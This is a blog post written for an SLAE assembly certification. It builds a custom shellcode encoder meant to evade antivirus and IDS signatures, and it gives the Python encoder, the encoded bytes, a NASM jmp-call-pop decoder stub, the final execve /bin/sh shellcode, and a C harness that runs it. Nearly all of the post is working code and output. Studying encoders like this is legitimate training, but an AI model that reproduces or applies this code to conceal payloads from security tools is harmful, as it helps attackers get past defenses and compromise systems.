creation of custom encoder which helps us to evade known signatures by antivirus/IDS system.

my custom encoder uses this simple algorithm.

                         1 . Perform NOT operation on individual shellcode byte. 

                         2. Increment each shellcode byte by 2 in hex.

                         3.  perform XOR operation on each shellcode byte with 0x21

                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.

This can be accomplished by using a simple python script . (custom_encoder.py). we will use an existing execve shellcode to spawn a shell.

#!/usr/bin/python

# Python custom Encoder

shellcode = (“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”)

encoded = “”
encoded2 = “”

print ‘Encoded shellcode …’

for x in bytearray(shellcode) :

  #NOT Encoding
  x2 = ~x

  #increment by 2
  x2 = x2 + 0x02

 # XOR Encoding
  xord = x2^0x21

  #NOT operation
  final = ~xord

  encoded += ‘\\x’
  encoded += ‘%02x’ % (final & 0xff)

  encoded2 += ‘0x’
  encoded2 += ‘%02x,’ % (final & 0xff)

print encoded

print encoded2

print ‘Len: %d’ % len(bytearray(shellcode))

now we can generate the encoded shellcode as follows :

slae@ubuntu:~$ ./custom_encoder.py

Encoded shellcode …
\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f

0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,
Len: 25

now we need to build a decoder which performs exact same operation as encoder in reverse order.

that is,

custom decoder algorithm,

                         1 . Perform NOT operation on individual shellcode byte. 

                         2. perform XOR operation on each shellcode byte with 0x21

                         3.  Decrement each shellcode byte by 2 in hex.

                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.

once the decoding is done for each shellcode byte, we can finally jump to the final shellcode. And also we leverage Jump-Call-Pop technique to implement this decoder. Here we have the final decoder ( custom_decoder.nasm)

global _start

section .text
_start:

jmp short call_decoder
decoder:
pop esi

decode:
cmp byte [esi], 0x21
jz Shellcode

;in reverse of encoding NOT > XOR > decrementx2 > NOT
not byte [esi]

xor byte [esi],0x21

dec byte [esi]
dec byte [esi]

not byte [esi]

inc esi
jmp short decode

call_decoder:
call decoder
Shellcode: db                             0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,0x21

In this decoder , we first compare our shellcode with exit marker ( 0x21) if all bytes of shellcode are decoded we directly jump to the shellcode. If not , we decode each byte of shellcode. Now finally we can compile and get the shellcode as follows.

./compile.sh custom_decoder

objdump -d ./custom_decoder | grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

final shellcode : 

“\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21”

we can now place this shellcode in our template c program,

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
“\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21”;

main()
{

printf(“Shellcode Length: %d\n”, strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

We compile and execute this program to get the expected shell.

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

slae@ubuntu:~/$ ./shellcode
Shellcode Length: 53
$ 

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

The post linux/x86 – Custom Encoder appeared first on .